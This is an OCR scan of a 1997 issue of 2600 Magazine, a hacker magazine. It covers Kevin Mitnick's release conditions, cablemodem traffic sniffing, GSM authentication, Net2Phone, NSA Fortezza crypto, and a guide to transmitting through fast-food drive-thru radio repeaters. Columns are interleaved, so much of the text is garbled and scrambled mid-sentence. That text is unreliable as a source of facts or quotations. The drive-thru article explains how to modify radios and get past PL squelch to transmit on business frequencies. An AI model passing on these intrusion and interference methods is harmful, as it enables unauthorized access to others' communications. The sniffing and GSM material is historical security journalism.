

2600 Magazine – Volume 14, Number 2



Summe	gazine Summer 1997	Page 4 2600 Magazine
C	are atraid he could do.	tion and free speech that has ever been known
The d	to be clearly defined) but for what the rest of us	as the single most powerful tool of communica-
than to sp	he's done (more than two years later this has yet	how to punish offenders rather than recognize it
telephone	definite prison time not so much for anything	more on the potential misuses of the net and
The d	plight which seems to have no end in sight: in-	
other com	And, of course, Kevin Mitnick's continuing	
altered te	used for all sorts of perfectly legitimate things.	
The d	most any hacker would have and which could be	
for compu	years for possession of electronic parts that al-	
data encr	vice managed to imprison Bernie for nearly two	munications systems that existed in Washington
The d	with the Bernie S. story, where the Secret Ser-	tion. They quickly outgrew the antiquated com-
puter or t	reading 2000 regularly should be quite familiar	
acquire, e	could nave nappened to literally anyone. I hose	
cess devi	Memphis who called it on their own volition. It	
words, ce	letin board in California offended someone in	_
any comp	in prison for three years because their adult bul-	The Clinton administration, for one. Here
The d	wife were taken away from their family and put	with the power to change things.
any comp	But the facts remain. Kobert I homas and his	by a great many people, including those people
or adviso	has been conditioned not to care.	ical braying that surrounds us is actually believed
The d	support internet CDA and because the public	
communic	Civit nocities groups have their names ned with	
computer	civil liberties groups have their hands tied with	-
The d	attention	that's mod You recomize
computer		
ity where		ing that takes place If you
business a	nle like Rohert Thomas	a taste of the fear monger
puter, com	first place Meanwhile peo-	cal evening TV news to get
Jorm servi	so obviously wrong in the	~~~
Inea		are ware in to?
a landline		
nications	tor because a much time	what it copyrights became
puter syst	COIL	
act as a o		
converted		What if medophiles com-
technolog	were witting to throw it all	what it terrorists figured
electronic	the resident. And certainly not the incuta, rincy	What if terrarists formed with an initial
or other	the Drasidant And cartainly not the madia They	
equipped	this summer Not the United not the Constants	-
television;	chail indecency was projected speech? Only the	lear and suspicion soon look control as the locus
tants and	the government had the guts to stand up and say	pretty apparent to us that this is a <i>good</i> thing. But
laptop co	lation went against the Constitution. But who in	way that has never been done before. It seems
peripheral	First Amendment. Everyone knew that this legis-	all different varieties; to share knowledge in a
grams; a	scared to stand up to this flagrant violation of the	communicate around the planet with people of
ware equi	cency Act passed into law by people in power too	dented in human history - the ability to
any purpo	who managed to get the Communications De-	e have something
The de	Of course we have people like Senator Exon,	Anyone involved in the Internet will recog-
you will u	those in power.	fear, ignorance, or overregulation.
Pay close	are almost always looked upon as a threat to	either never realized or hopelessly crippled by
seem, the	place, such advances for the common people	truly promising comes along, its true potential is
after he's	gardless of what kind of political system is in	Almost without fail, whenever something
which will	awareness don't always add up to fairness. Re-	
Mitnick's	to humanity. The lesson here is that power and	C ometimes it seems as if the true driving
Nothin		_

r 1997 outer codes including computer pass-llular phone access codes or other acse the following: any computer hardefendant shall only use his true name | authorities who monitor everything he says. eak directly to another person; lephone, telephone equipment, or any efendant shall not use or possess any elecommunications database system; xchange, or alter information in a comces that enable the defendant to use, efendant shall not acquire or possess uter related activity; ations himself or through third parties; efendant shall not access computers, related equipment or software; he will have access to computers or ind shall not be employed in any capaciputer software, or telecommunications ces for any entity engaged in the comefendant shall not be employed or pernetwork, except defendant may possess em, computer network, or telecommucomputer system or to access a comto or has as its function the ability to equipment presently available or new computer network access; any other mputers; personal information assisny modems; any computer related efendant shall not possess or use for government believes should be never. released from prison which, it would efendant shall not use any telephone or efendant shall not alter or possess any ters or any other purpose; yption device, program, or technique r to individuals or groups engaged in efendant shall not act as a consultant networks, or other forms of wireless telephone; that becomes available that can be with online Internet, world wide web, any instruments of communications derivatives; any cellular phone; any or support equipment; any portable pment; any computer software proidoubtedly see more of them: attention to these restrictions because conditions of supervised release, go into effect for a number of years g we say can illustrate this as well as related equipment for purposes other nunications related equipment; 2600 Magazine Again, if you find this funny and absurd, that's good. But this is also scary as hell and and not use any alias or other false identity. be used to achieve privacy is seen as a threat and something to be restricted. Even speech is being to confine someone to a certain space and to retechnology (even a television set!) and are pre-pared to restrict access whenever possible. We ple are being faced with these kinds of restric-This is by no means an isolated case. Other peomisinterpreted and used against him by the authorities who monitor creating cheap fantasy. They should be attempttor behind them is fear. If you believe that someprove quite conclusively that the motivating facunderstanding of technology and would seem to when he gets out. It seems that life in our society cording to this, it would be a violation for him to ple on the subject that he knows best. And, acregulated - Mitnick isn't allowed to advise peostrict their movements. Now, anything that can cryption especially telling. It's no longer enough find the item about not being allowed to use entions at an alarming rate. It tells us that the something that should not be ignored by anyone his attorney not to respond personally since CA 90053-1500, or on the Internet our lives. ally, one way or another, the rulings, short-sightout when things like this occur. Because, eventuthat now affects them, rather than letting their plistically and in tabloid style like two-bit Hollysense. But judges aren't supposed to think simvice, then these words start to make a little more the world with a telephone or an electronic deone like Mitnick is capable of doing anything in will be nearly impossible for him. wonder just what it is they expect Mitnick to do phone "to speak directly to another person." We use voicemail since he wouldn't be using a teleauthorities are very wary of almost any form of like to send replies, Mitnick has been advised by kmitnick@2600.com. While he very much would Mitnick 89950-012, P.O. Box 1500, Los Angeles, edness, and fear will have a profound effect on should be watching over them prepared to speak emotions and fears dictate their rulings. And we ing to grasp the basic concepts of the technology wood directors out to make a quick buck by These conditions demonstrate an utter lack of Kevin Mitnick can be written to at: Kevin Page 5 at

gazine Page 7	Summer 1997 2600 Magazine	Omonio Demonio IVV	
	this isn't a secure service, [ISP] has decided	were required in or	Page 6 2600 Magazing
Free When You Call From Work!	being made in the service agreement." Baf-	of knowledge about the UNIX operating	
516-473-2626	as a secure service and no such claims are	chines were UNIX based and vast amounts	gers posed by sending confidential and
	work traffic was not publicized because "this callemodem service is not being sold	silently retrieve sniffer logs from that com-	net worked and were ignorant of the dan-
DIMF Decoder	fact that cablemodem users can sniff net-	system administrators and find a way to	side of this, however, was that many of
Caller ID Readout	According to [ISP]'s security group, the	truder had to then hide their tracks from the	Windows and Macintosh users. The down-
Moderated and Unmoderated Boards	able at this time."	Once superuser access was attained the in-	resources were now within reach of novice
Multiple Lines	modem user to snift network traffic on their submet is a "known bug and no fix is avail-	and superviser access had to be compromised	dialup protocol was that the Internet and its
	was then told that the ability for any cable-	gateway machine sitting in between the	phased out in favor of SLIP and PPP dialup
Voice BBCI	ing tested and the methods being used. I	a sniffer to be successfully set up, a key	VMS shell accounts have been slowly
Visit the All New 2600	group and explained exactly what was be-	Internet data was relatively low. In order for	Over the past few years, UNIX and
	nected to someone within [ISP]'s security	In the past, the risk of someone sniffing	tions to safeguard their data.
risk.		transactions and send confidential data over the Internet	sues at hand and took the proper precau-
if not millions, of future users could be at	regarding the sniffing issues.	SSL equipped WWW browsers to conduct	these users also understood the majority of
dated to reflect these problems, thousands,	was decided that [ISP] should be contacted	and don't know why they should only use	had an understanding and respect for the
service. If current technology is not up-	possibly destroy the reputation of an ISP, it	net users don't understand what sniffing is	ing, most users logging into these accounts
modems become a secure and reliable	dreds of cablemodem users at risk and quite	problem is that these extreme novice Inter-	tary knowledge of computers and network-
cautions as nossible to make sure cable-	security hole could nut the privacy of hun-	canable of SSI, or encryption Another	shell accounts required at least a rudimen-
rig pushed as the next of grand, TSPs and cable companies should take as many are-	tored Due to the fact that this type of major	left insecured because not all clients are	shell accounts. Due to the fact that these
nowever. With cablemodem technology be-	surprisingly, every other caplemodem user	prowsers can take advantage of this secu-	modems and logged into I'NIX or VMS
The issue of sniffing does not stop here,	was used to test this hypothesis and, not	only transactions via SSL equipped WWW	users connected to their Internet Service
dressed and publicized.	Software such as sniffit and tcpdump	The problem with this approach is that	In the past, virtually all home Internet
Web, more security issues need to be ad-	the same subnet.	tranets can be safe and secure.	sues.
formation over the Internet and World Wide	modem users to sniff all traffic passing over	tions over the Internet and corporate In-	be at risk from extremely old security is-
transmitting confidential and nersonal in-	pothesized that it may be possible for cable-	commerce servers so conducting transac-	of this, hundreds of new Internet users may
subscribers were educated and aware of these dangers. With more and more livers	firewall/gateway machine. It was then hy-	and Open Market. Inc. are mishing secure	lic networks such as the Internet. Because
subscribers were educated and aware of	heen ninoged into the ethernet card of the	Netscane Communications Composition	backet transport works over wide area nub-
mation, [ISP] should have taken all steps	started reporting network traffic even	work traffic going over the Internet and	UNIX machine and have no idea how
and the widespread value of personal infor-	status LEDs had immediately lit up and	tage of problems with TCP/IP and sniff net-	ternet users in this area. Unfortunately,
With today's threats of credit card fraud	at this site. The TX, RX, and NET-ACTIVE	ability for malicious hackers to take advan-	up a wealth of security nightmares for In-
fact that any problems such as this even exist.	blemodem NI was installed and powered up	the hottest topic right now seems to be the	The advent of cablemodems has opened
think that most end users are ignorant to the	This trend was first noticed when the ca-	Of all the security issues at hand today,	the nature of this article.
goes across their internet connection could very well be monitored it's frightening to	separanhical area	heing released	censored and replaced with [ISP] due to
that virtually every single keystroke that	ever submet has been assigned to that user's	making sure a secure and reliable service in	net Service Provider affected have been
keep cablemodem users from finding out	a cablemodem user has connected to the In-	net and most companies and ISPs seem to	Note: 411 references to the model.
off by a seemingly intentional coverup to	via 10BaseT. Because of this, each machine	pushing the commercialization of the Inter-	related articles, can be found at
their networks reasonably secure. Topped	cablemodem user's machine to the Internet	know how to use a computer. This trend is	changes, updates, new references and
ability to plan ahead and take steps to keep	ernet transceiver and directly connects each	and, in a lot of cases, no longer even need to	The complete article, as well as any
This is an extreme display of from it.	dem network interface (NI) acts as an eth-	know how to set in a modem connection	This article is a work in progress
ware?" The response was, "Hrm that's ac-	passes the need to compromise a gateway	WebTV has created a whole new breed of	(sciri@I AnhT com)
secured and encrypted by third party soft-	transceivers), however, completely by-		
tor to make sure that all connections are	this area (Zenith HOME*Works Universal		
upon the policy that it's the sole responsi- bility of the end user or system administra-	The routing used by cablemodems in	capie modelli security notes	
mon the policy that it's the cole managed	selfhidden		

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azine Page 11	Summer 1997 2600 Magazine	gazine Summer 1997	Page 10 2600 Magazine
same Message Transfer Part (MTP) packets as defined by SS7 (see diagram, page 10). The highest layer of an SS7 MTP (akin to the "Application" aver in the OSI model) is known as the TCAP contains the MAP, for Transaction Capa- elature, the TCAP contains the MAP is contain the ac- rular complex. The MAP's contain the ac- tual messages sent between the MSC and all other entities of the network subsystem. Authentication and Encryption The part you've been waiting for! Here's how it all works. The identity of a sub- scriber's unique Ki, which is stored in the SIC, and on the security of a shared secret is the SUM card on the subscriber side, and in the AIC on the switch side. The AICC starts by choosing a 128-bit speado-random num- ber (RAND) and hashes it with the sub- scriber's Ki, using the A3 algorithm, to form SRES ("signed response"), a 32-bit digital signature of Ki. Next, it uses the same RAND and hashes Ki using the A8 algorithm, to form KES ("signed response"), a 32-bit digital signature of Ki. Next, it uses the serification to form Kc, a 64-bit digital signa- ture of Ki used as the ciphering key for A5. The process of generating a triplet. This triplet is then eached by the HLR, and can be regenerated at some interval determined by the GSM provider. When a subscriber's triplet meds to be authenticated his SIM tells the focal MSC/VLR, which the MSC/VLR. The RAND is sent to the subscriber's SIM by the MSC/VLR, which compares it to the SRES in thas cached. If they match, the sub- scriber is authenticated. Now that the sub- scriber is authenticated. Now that the sub- scriber is authenticated. communication over the GSM network can be pin. But first, a brief description of A5 is in order A5 is a stream cipher consisting of three clock-	 What's up with those flat, funky new anserver server and SIM make up the 'mobile sation'. It talks to these antempts which are hooked up to a Base Transceiver Station (BTS) commonly located either on the roof or in the basements of these buildings. BTS's are analogous to ''cells,'' and are grouped together into ''location areas,'' which are given location area identifies (LAI's). These clusters of BTS's are linked to Base Station Controllers (BSC's), typically located in yet other buildings. The BSC's talk directly to the switch (NSC) over leased lines (see diagram, page 10). Coding and multiplexing in brief.from the handset back to the switch (NSC) over leased lines (see diagram, page 10). Coding and multiplexing in brief.from the handset back to the switch (NSC) over leased lines (see diagram, page 10). Coding and multiplexing in brief.from modified LAPD (a la SISN) protocol known as 'LAPD' (Link Access Protocol known as 'LAPD' (Link Access Protocol known as 'LAPD' (Link Access Protocol known as 'LAPD' (Link Access) rotocol known's it the roto 26-frame multifiames, are burged to	Encugh, Phiber, now tell me about the switch are the Ericsson AXE MSC, based on the AXE 10, and the Nortel DMS-MSC, based on the AXE 10, and the Nortel DMS-MSC, based on the AXE 10, and the Nortel DMS-MSC, based on the AXE 10, and the Nortel and the Switching Center, which is what the switch is called in GSM lingo. The MSC is part of the network subsystem, and accesses four main databases: the Home Location Register (HLR), the Equipment Identity Register (EIR), and the Authenication Center (HLR), the Ursitor Location Register (EIR), and the Authenication Center (AUC) (.3). The VLR is commonly integrated with the MSC (e.g. the DMS-MSC), leaving the HLR, AUC, and EIR as a separate physical entity (e.g. the DMS-MSC), leaving the HLR, AUC, and EIR as a separate physical entity (e.g. the DMS-MSC), leaving the HLR, SU, and EIR as a separate physical entity (e.g. the DMS-HLR). There is at least one HLR on every GSM network, which serve entire comtries, which may need to gain access to other parts of the GSM network over an SS7 capable PSTN, because it would be impractical to the SISDN's, which stores all the valid IMEI's. This leaves the AUC, which stores all the valid MSI's and A8 hashes for the network subsystem.	algorithms are used, which are approved by the GSM Standardizations Group. (Just to satisfy your curiosity, the aforementioned A5 algorithm is implemented in the hand- set's firmware, and not on the SIM (ard.) The PIN is only used to lock the SIM, so when placed in a phone and powered up, to make or receive calls. If the PIN is en- tered incorrectly some predetermined use, and only the Personal Unblocking Key (PUK, available from the GSM provider) (an unblock the SIM and restore it to use- fulness. If the PUK is incorrectly entered to many times, the SIM (ard is rendered useless. Understand, all billing stems from and touch-tone keys, and in addition, some mechanism to navigate a simple menu of options to configure the phone and use its features. Arrow keys for scrolling, YES and NO buttons for making choices, etc. The menu is viewed on a small, multi-line, LCD display. There are commonly undocu- formation about the phone's firmware revision, and IMEI, among other things. The IMEI, or International Mobile Equip- proval Code, the SN is a 6-digit Type Ap- proval Code, the FAC is a 2-digit Final Assembly Code, the SN is a 6-digit Serial Number, and X is a reserved "supplemen- tary" digit. IMEI's are stored in the EIR (Equipment Identity Register) database. The IMEI is on thandset what the IMSI is to the SIM card. In this mannet, someone attempting to use the network can be re- voked by having an imvalid SIM card, or an unregistered or stolen phone, or both. It should be noted that many CSM phones have neat factures like imvare debuggers and call progress dumpers built in, accessi- ble with a computer and a specially built se- rial cable.

Page 12 2600 Magazine	ing during idle points of conversation, or because the mobile user is in transit. Inter- nally, the handoff would be between time	for a call are not static for the duration of that call. Handoffs (also called "han- dovers") typically occur for load balanc-	ported stolen. Handoffs and Roaming As you may well know, the links used	jocted to a test. The handset's IMEI is looked up in the EIR database, and would either be permitted or denied from using the GSM network, e.g., if the phone was re-	mig une meume or a can, or only once during call setup, or for every n-th call. In addition to the initial A3 authentication, the subscriber's handset could also be sub-	crypted between the handset and the BTS. How often Kc is re-chosen is implementa- tion specific. It could be multiple times dur-	rine SIM's KC would be identical. Encryp- tion proceeds as I laid out in the AS de- scription. In this manner, all voice and data traffic in the form of TDMA frames is en-	handset's AS engine. Since the authentica- tion stage was successful, the BTS's Kc and	feeds it into its A5 engine, and the Kc gen- erated by the SIM is used to initialize the	Kc that the MSC/VLR got from the sub- scriber's HLR is passed to the BTS, which	AS. OK, so now, provided that all over-the- air communications between the subscriber and the BTS (cell) are to be encrypted, a "start ciphering" message is sent to both the BTS and the handset. This message also indicate which access the set of the	ine 114-on transmit ourst period is excu- sive ORed (XORed) with one of the two outputs of A5, and the 114-bit receive burst period is XORed with the other output of	sets of 57-bit data, for a total of 114-bits.	transmit channel, and one for the receive channel. Each "channel," frozen in time	ber happened to be at that moment. The output is two 114-bit values, one for the	controlled linear recurses suit registers (LFSR's), Kc is used to initialize the three LFSR's, then the 22-bit TDMA frame num- ber is fed into AS, whatever the frame num-	ontollad linna Gadhal shiA maintan
agazine Summer 1997	This aliasing is only valid for the duration of the call. The MSRN is returned, via the HLR, to the GMSC, which can now use this	allocated from a pool of reserved, valid PSTN phone numbers which are used by the GSM network to "alias" MSISDN's to.	that the terminating subscriber is currently local to and, using the SS7 capable PSTN to bridge the distance, asks this MSC/VLR to give it a temporary MSRN. This MSRN is	all MSISDN's on the network. The GMSC queries the proper HLR for a Mobile Sta- tion Roaming Number (MSRN). The HLR looks up the SS7 address of the MSC/VI R	scruer's pnone number (vASISJIV) from the neighboring PSTN switch over SS7. The GMSC has a table which contains the SS7 address (point code) of the HLR's for	hop into a GSM network is the GMSC (Gateway Mobile Switching Center). The GMSC receives the terminating sub-	Call routing I'll describe call routing using an in- coming call from the PSTN as an example. On a large national GSM network, the first	subscriber, who has relocated.	It also notifies any previously registered MSC/VLR to cancel its registration of the	which would be needed for call control (such as the triplet) to this new MSC/VLR.	the local MSCVLR. The MSCVLR de- duces the subscriber's HLR from the TMSI, and sends it the subscriber's current LAI and TMSI, along with its own SS7 address. If this TMSI checks out with the HLR, the	orner USAN networks who are roamming parr- ners. When a phone is turned on or is moved to a new location area, it registers its location information (LAI) and TMSI with	subscribers as well as subscribers from	Location updating is a function of the GSM	trolled by different switches. Roaming, or "location updating," is ac-	stots in the same cell (B1S), between BTS's connected to the same BSC, be- tween BSC's connected to the same switch (MSC), or between BTS's ultimately con-	
Summer 1997 2600 J	Send Orders to: 2600, PO Box 752, Middle Island, N\ (Make sure you enclose your address!)	Back issues are available for \$25 per year from 1984 - Individual back issues from 1988 to present are \$6.25	Overseas Subscription I Year Individual - \$30 One Year Corporate - \$65	Corporate Subscription Year - \$50 2 Years - \$90 3 Years - \$124	Individu al Subscription Year - \$21 2 Years - \$38 3 Years - \$54	What's YOUR Excuse?	You aren't dead!	to 2600.	he would subscribe	lf Einstein were alive,	00	and uses it to ring the proper subscriber's handset. And there you have it. Consider it a	IMSI that corresponds to the incoming MSISDN, matches the IMSI to its TMSI,	PSTN and the mobile subscriber. The MSC/VLR simply asks the HLR for the	process is much simpler. An MSC/VLR is often the first and only hop between the	temporary MSRN phone number to route over the PSTN to the proper MSC/VLR and ultimately to the terminating mobile sub- scriber. On a smaller CSM network the	a
2600 Magazine Page 13	ddle Island, NY 11953	ear from 1984 - 1996. esent are \$6.25 each, \$7.50 overseas.	orate - \$65	124	54					ve,	L9J			tom calling stuff. If yo	cle is well received and if I have time in the future. I may cover other tonics such as cus-		-

-	2600 Magazine Page 15	Summer 1997 2600 M	gazine Summer 1997	Page 14 2600 Magazine
	2600.COM	call to a local European exchange for the cost of a local call in Europe.	Jordan replied, "Well again, we have their registration information."	validated. The cards are all in 25 dollar in- crements and are debited by the minute
		Net2Phone, you could connect to a Euro- pean switch via the Internet and place a	call on a certain time or date?" I asked.	email after your card has been manually
		What this could mean is that via	IDT's switches," says Katz. "Well, what if	or right off their website. They then give
		just won a major European battle recently.	but what shows up [on ANI] is one of	buy a card via a credit card either by fax
		when speaking of telco deregulation in	logs of the party receiving the call? "Well, it depends on what server they connect to	regular phone. The way this works is to
		some reason. Ari seemed very careful	calling them? What shows up in the ANI	offer debit cards just like the ones you
	11.	I his is a very interesting concept and IDT seems very "hush hush" about it for	What if people want to know who is	weren't 800 or 888 numbers? Well, they
	son. I am sure you can find many uses for	the Net2Phone action.	customer information?" He replied, "I see	What if I wanted to call numbers that
	useful product, if you are a creative per-	preneurs who would be willing to join in	asked Mr Katz: "What do you see as far as	I proceeded to call other 800 and 888
	it to its fullest extent. It certainly is a very	currently looking for international entre-	tors seeing what calls you make. So I	"Wow, this is neat," I thought to myself as
	mail. If you haven't already, I encourage	call internationally, avoiding all interna-	I thought to myself, "Oh, that's nice." But	worked I accidentally hung up on her
	debit cards are for sale by fax or snail	and have one of IDT's switches place the	is making what call to where if I want to."	crophone and said hello. The operator re-
	charge to call 800 or 888 numbers and	allow a customer to call a local number	minal right here, I can see which account	the party I had called. I picked up my mi-
	Why not take advantage of this soft-	clude Net2Phone Direct, a Phone to Inter-	vice for Net2Phone told me "I have a ter-	my PC speakers and I was connected to
	more of the public's money.	Upcoming plans for Net2Phone in-	where and how they keep track of all the	three seconds ringing came forth from
	companies fueling the fire to burn up	then add money to it as needed."	they keep track of who is using what card	to mind and watched the software connect
	kindling for the telcos and long distance	you automatically have a card. You can	The first thing I wondered was how	dialed up the first 800 number that came
	use this would just be another niece of	credit card number on the web site and	ple of very important things.	I was in heat to try this baby out, so I
		ing system for the debit cards. "This will be totally automatic your inst input your	the faults and shortcomings of this soft-	my desktop.
	to place the call. Again, the other long	plans to set up a complete on-line order-	sat down and thought long and hard about	garbage and then, all of a sudden, I have a
	Internet to route a call to another switch	Jordan also told me of Net2Phone's	So, like any true tester of software, I	me some hints and the normal installation
	call up a local, or WATS line and use the	self."	internationally.	mail spamming. So I register and it gives
	where someone would use the phone to	could get a dehit card is to order one him-	someone's phone either domestically or	have to track you down for mass snail
	Another interesting thing on the fore-	number, but now, since we have the secure	way you are talking from your DC to	information that every company must
	that.	about hackers getting someone else's PIN	you had a full-duplex sound card, it would	and address and all the normal approxime
	company, and of course we can't have	offering Net2Phone, we were worried	controls are a little rusty, but I suppose if	com and installed it. The software imme-
	would make no money for a long distance	ware. He replied, "When we first started	operation and the VOX (Voice Activated)	their website at http://www.net2phone
	would be a good thing for consumers, but	hackers doing bad things with his soft-	PTT (Push To Talk) module is seamless in	brighten up my day. So I downloaded it at
	forced to use a switch in New Jersey to	I acted from"	Internet environment to the 'circuit switch	telecom mononolies" was just the thing to
	lose all the revenue from callers being	on to say, "We do not know where the call	signal from the 'packet switch network'	munication between the two calling par-
	so. If they were to do that, they would	sort of logging procedure." He later went	Net2Phone describes it as converting "the	have "real-time uninterrupted voice com-
	their switches in other states, and rightly	tration, not to say that there isn't some	background to facilitate the call.	thoughts. This product that allows you to
	As lar as the domestic market, 101 doesn't seem verv interested in placing	logging of IP's only logging of user regis-	vou realize what is being done in the	phone card people), reinforced my
	but this is what they are proposing.	does it log in the way of it's addresses?"	The quality of the call is quite and if	Net2Phone. a division of IDT (ves the
	ally free just sounds too good to be true,	head of marketing for Net2Phone, "What	billed at IDT's rates from NJ to wherever	chnology J
	they sell out to. To call Europe for virtu-	ware is making a call. I asked Ari Blech,	Your calls originate in New Jersey and are	the other day I was thinki
	time from someone, so we shall see who	them know that someone's registered soft-	depending on the destination of the calls.	by tersIan
	IDT has to have blocks of long distance	least a signal is sent to the server to let		
	and Sprint's panties all up in a bunch, and	tration information is passed by the soft-	nders of Net2Phone	
	This will certainly have AT&T, MCI,	Okay, so we get the idea that the regis-		
ē-				



Page 18 ways be wary of our sources for crypto. surface, such as Cylink — but we must al-NSA affiliation which doesn't show on the proclaimed their Agency endorsement. tively easy to spot. All of the available and those choices should be informed ones. them standard, we find that this strategy Fortezza products (so far) have proudly own choices in cryptographic technology, all press for the continued right to make our only for the good of Big Brother. We should cryptography for the good of the public --Agency has no interest in standardizing crypto. If we examine the National Security There are some cryptologic firms with first appeared with DES in the 1970's. The cryptosystems Agency's persistence in introducing tainted swer is simple - stay away from NSA it doesn't, it can crack it with relative ease. ceive your Fortezza card, your key is in a knows your key; and (b) if for some reason Fortezza, (a) the National Security Agency back to the NSA. So, before you even retification Authority (CA), which reports aside, Fortezza's key material is supplied federal database. and escrowed by something called the Cernatures with Fortezza. These weaknesses jack. A separate algorithm in Fortezza, the built machines dedicated to cracking Skipgovernment capability to forge digital sigfor the NSA. The consequences include a has potential weaknesses introduced by and Digital Signature Algorithm (DSA), also Fortunately, NSA technology is rela-How can we protect ourselves? The an-The effect is that, when you use rowiner, and attempting to make 2600 Magazine Tampa, Florida 33612 Tel: +1 813 972.6429 Group Technologies Corporation Fax: +1 310 533.0527 10901 Malcolm McKinley Drive factures a Fortezza card. Mykotronx, Inc. Fortezza equipment, and the Mykotronx workstation for central management of on the Capstone chip, but apparently does Tel: +1 310 533.8100 Iorrance, California 90501 357 Van Ness Way, Suite 200 **Communicator Fortezza Modem** Mykotronx also makes the Cawdaptor, a use Skipjack) — this item may be secret. classified communications (it is not based able as well, and supposedly suitable for matic Fortezza PLUS Crypto Card is avail-Fortezza ISA Bus Crypto Card. The enig-Fortezza Crypto Card (figure 2) and 20Mb/s. Mykotronx also manufactures the MIPS, and performs Skipjack at up to 20MHz. The 32-bit architecture runs at 18 pin TQFP package, with a clock speed of the Fortezza Crypto Card. The IC is a 144stone MYK-80/82 (figure 1) is the heart of MISSI contractor. The Mykotronx Capproject and its systems. tities. up with additional information about the gether, we can pool our resources and come 2600.com) with what you've found out. To-Fortezza project, and are available to the Fortezza cards, involved with Fortezza or its sponsoring enare a government employee or contractor devices, or to publish the results, unless you not a crime to reverse-engineer any of these a Fortezza card for experimentation. It is this project should consider the purchase of general public. Every hacker interested in **Available Products** Group Technologies Corporation manu-Mykotronx, Inc. is the NSA's favorite If you are very serious about hacking The following products relate to e-mail Summer 1997 me (seraf@ Summer 1997 Information Resource Engineering, Inc. manufactures the A400S Fortezza Serial modem (AT command set, R-232-C inter-Modem. It is much like a regular 14.4Kbps face, etc.), but it offers some Fortezza Fax: +1 408 432.8415 Tel: +1 408 432.8180 San Jose, CA 95134 2841 Junction Ave. SP YRUS probably pressured Spyrus into using DES. provide formidable security --- the NSA tuted for DES in the latter set, it would tively). If a stronger algorithm were substi-(RSA, [3]DES, MD-5, and RSA, respecrespectively) or a less governmental set rithms (KEA, Skipjack, SHA-1, and DSA make the HYDRA Privacy Card, which imcrypto card, and sells its own. They also functions, it can use either Fortezza algoing, and digital signatures. For these plements key exchange, encryption, hash-Tel: +1 408 721.8797 iPower Business Unit National Semiconductor Fortezza card. Sunnyvale, CA 94086-3737 1090 Kifer Road, Mail Stop 16-225 Spyrus designed the original Fortezza National Semiconductor also makes a | crypto services. And Find out all there is to know about the Secret Service! Explore the 2000 web pages! Hear "Off The Hook" - our weekly hacker radio show! 110:/ See even more payphones of the planet! Get updates on current hacker cases! See the latest backed web sites! www.2600.com 2600 Magazine electronic privacy. nology, and we'll all be able to enforce our formed decision when choosing your techpowerful, untainted crypto --- make an ineverything. I also trust the recommenda-RSA Data Security Inc.) mation on PKCS can be obtained from numerous American corporations. (Infordard (PKCS), which has been adopted by tions of the Public-Key Cryptography Stan-RSA, and MD-5 are what I use for almost open will, I hope, also help. is required to use NSA-sanctioned crypto strong cryptographic technology? IDEA start. Putting the NSA's agenda out in the and we can keep it that way if we don't today (other than our own government). we can still make our own choices. Nobody vention in our lives, it's easy to forget that We Are Still Saf Fax: +1 410 931.7524 Tel: +1 410 931.7500 Baltimore, MD 21236 8029 Corporate Drive Information Resources Engineering, Inc. What options, then, do we have for The lesson is that there's no shortage of With all this talk of government inter-Page

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Page 20 2600 Magazine	440-475 mhz TX and RX 800-900 mhz RX (cellular) Now although this might not seem like a big range, it is pretty much all you will need. These ranges are broken down into extremely small channels of only a few kilohertz wide. This will give you access to everything from handheld radios, po- lice, fire, ambulance, fast food, cellular, I	Itense is. The most important feature of the radio you're looking for is one that is easily mod- ifiable. How do you know which are? Go look at oak oakland.edu in /pub/hamra- dio/mods or check out http://www.qrz.com. See, even <i>with</i> a license, the FCC regulates where you can transmit and receive. While looking through the mods, find one that you are technically capable of performing and also one that gives you transmit and receive capabilities in the following ranges. Note these ranges are approximate.	by VaxBuster Before I start into having Phun with Phast Phood, I want to go over a few basic radio items. This will give you a general idea of the type of equipment involved and what kind of ratio features you should look for to maximize your hacking potential. The first thing you want to look for is a ham radio that is dual-band. Whenever you see this word in various ham radio magazines, they are referring to the fact that the radio supports two bands. These bands most often are the 2 meter band (approximately 140-148 mhz) and the 70 cm band (approximately 440-450 mhz). These are both amateur bands and you will mostly hear a bunch of old farts talk- ing about how ridiculous the no-code tech
sgazine Summer 1997	464.xxxx for INPUT is <i>popular</i> . I realize this last range is pretty broad, and I apologize, but this list would be huge if I broke out each individual range. A radio repeater is basically a device that repeats a signal from one frequency to another. The repeater's antenna is usu- ally placed high atop a mountain or build- ing. The purpose of this is to get line-	Remember, when scanning, that the out- put side of the repeater is almost always broadcasting, meaning that your scanner will stop and you will hear basically an open customer mic on the output fre- quency. Scan 30.xxxx to 35.xxxx for the output side Scan 151.xxxx for the input (clerk) side Scan 151.xxxx for the input (clerk) side Scan 157.xxxx for the input (clerk) side Scan 157.xxxx to 469.xxxx for the input Scan 457.xxxx to 469.xxx for the input Scan 457.xxxx to 469.xxx for the input Scan 457.xxx to 469.xxx for the input Scan 457.xxx to 469.xxx for the input Scan 457.xxx to 459.xxx for the input Scan 457.xxx for the	Fast Food PhunBuster to having Phun with go over a few basic legive you a general equipment involved equipment involved ing for radios that will transmit on there, ligive you a general dio rigs won't support these ranges, even tacking to hoke for "is the frequencies I listed above. A couple of other modification. Trust me, you can have a ton of phun if your radio support these ranges, even indiver modification. Tust me, you can the frequencies I listed above. A couple of other important features to look for are other important features to look for are other important features, lost of memory channels, and alpha tagging.1 want to look for tis two bands. These the 2 meter band s into and alpha tagging.OK, you've bought your radio. It's undified. It works. Now where do you tast that are out there on the net. If you do a web search for "fast food frequencies"
Summer 1997 2600 M	to keep unwanted noise and parties from interfering with the communications and is pretty basic. It is not at all built to with- stand hacker attempts to transmit through the repeaters, as I'll show. CTCSS, con- tinuous tone coded squelch system, or PL (Private Line), as it's more commonly known, is made up of a subaudible tone that is transmitted in-band along with the communication (usually voice). These	what you will be transmitting on. This fre- quency is what the clerk actually trans- mits on, both to talk to other clerks, <i>and</i> to talk to the customer. Now, the deter- mining factor on whether or not the re- peater transmits, the signal to the customer's speaker is PL. This will be the transmitting frequency Just FYI, if the re- peater is using standard frequency pair- ing, the input frequency is 5 mhz below the output. This is true in the UHF (4xx mhz) band. So if you find the receive fre- quency at 469.0125, you know the trans- mit frequency is probably at 464.0125. The "security" that exists is designed	of-sight to as many points on the ground as possible. Once a signal is received, it is then transmitted out the output frequency at a high rate of power. The purpose of this device is to allow communication among a bunch of low-power radios. Of- ten, these low-power radios have much smaller antennas as to make them more portable. Fast food repeaters in general operate in this fashion. There is one frequency in which what the customer says is broad- ceast as well as what the clerk said is broadcast. You'll see me refer to this as the <i>output</i> side of the repeater. If you tuned to that frequency on your radio, what you'd hear is the same as if you were standing right next to the speaker at the drive thru. You would hear the entire con- versation. This will be your receive fre- quency. Now the input side of the repeater is
